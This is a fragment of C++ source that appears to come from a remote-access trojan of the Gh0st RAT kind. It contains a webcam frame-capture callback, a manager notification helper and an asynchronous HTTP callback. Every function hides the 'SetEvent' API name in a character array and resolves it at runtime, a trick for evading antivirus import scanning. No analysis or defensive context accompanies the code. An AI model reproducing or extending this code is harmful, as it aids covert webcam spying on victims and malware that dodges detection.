LRESULT CALLBACK CVideoCap::FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr) { char BrmAP23[] = {'S','e','t','E','v','e','n','t','\0'}; SetEventT pSetEvent=(SetEventT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP23); try { CVideoCap *pThis = (CVideoCap *)capGetUserData(hWnd); if (pThis != NULL) { Gyfunction->my_memcpy(pThis->m_lpDIB, lpVHdr->lpData, pThis->m_lpbmi->bmiHeader.biSizeImage); pSetEvent(pThis->m_hCaptureEvent); } }catch(...){}; return 0; }
void CManager::NotifyDialogIsOpen() { char BrmAP23[] = {'S','e','t','E','v','e','n','t','\0'}; SetEventT pSetEvent=(SetEventT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP23); pSetEvent(m_hEventDlgOpen); }
void __stdcall Callback( HINTERNET hInternet, DWORD_PTR dwContext, DWORD dwInternetStatus, LPVOID lpStatusInfo, DWORD dwStatusInfoLen ) { PASYNCHTTP pData = (PASYNCHTTP)dwContext; if ( pData ) { switch( pData->dwCurrent ) { case 1: if ( dwInternetStatus == INTERNET_STATUS_HANDLE_CREATED ) { INTERNET_ASYNC_RESULT *pRes = (INTERNET_ASYNC_RESULT *)lpStatusInfo; pData->hConnect = (HINTERNET)pRes->dwResult; pSetEvent( pData->hConnectedEvent ); } break; case 2: switch(dwInternetStatus) { case INTERNET_STATUS_HANDLE_CREATED: { INTERNET_ASYNC_RESULT *pRes = (INTERNET_ASYNC_RESULT *)lpStatusInfo; pData->hRequest = (HINTERNET)pRes->dwResult; pSetEvent( pData->hRequestOpenedEvent ); } break; case INTERNET_STATUS_REQUEST_SENT: { DWORD *lpBytesSent = (DWORD*)lpStatusInfo; } break; case INTERNET_STATUS_REQUEST_COMPLETE: { INTERNET_ASYNC_RESULT *pAsyncRes = (INTERNET_ASYNC_RESULT *)lpStatusInfo; pSetEvent( pData->hRequestCompleteEvent ); } break; case INTERNET_STATUS_RECEIVING_RESPONSE: break; case INTERNET_STATUS_RESPONSE_RECEIVED: { DWORD *dwBytesReceived = (DWORD*)lpStatusInfo; if ( !*dwBytesReceived ) { pData->IsDownloaded = true; } } } break; default: break; } } return; }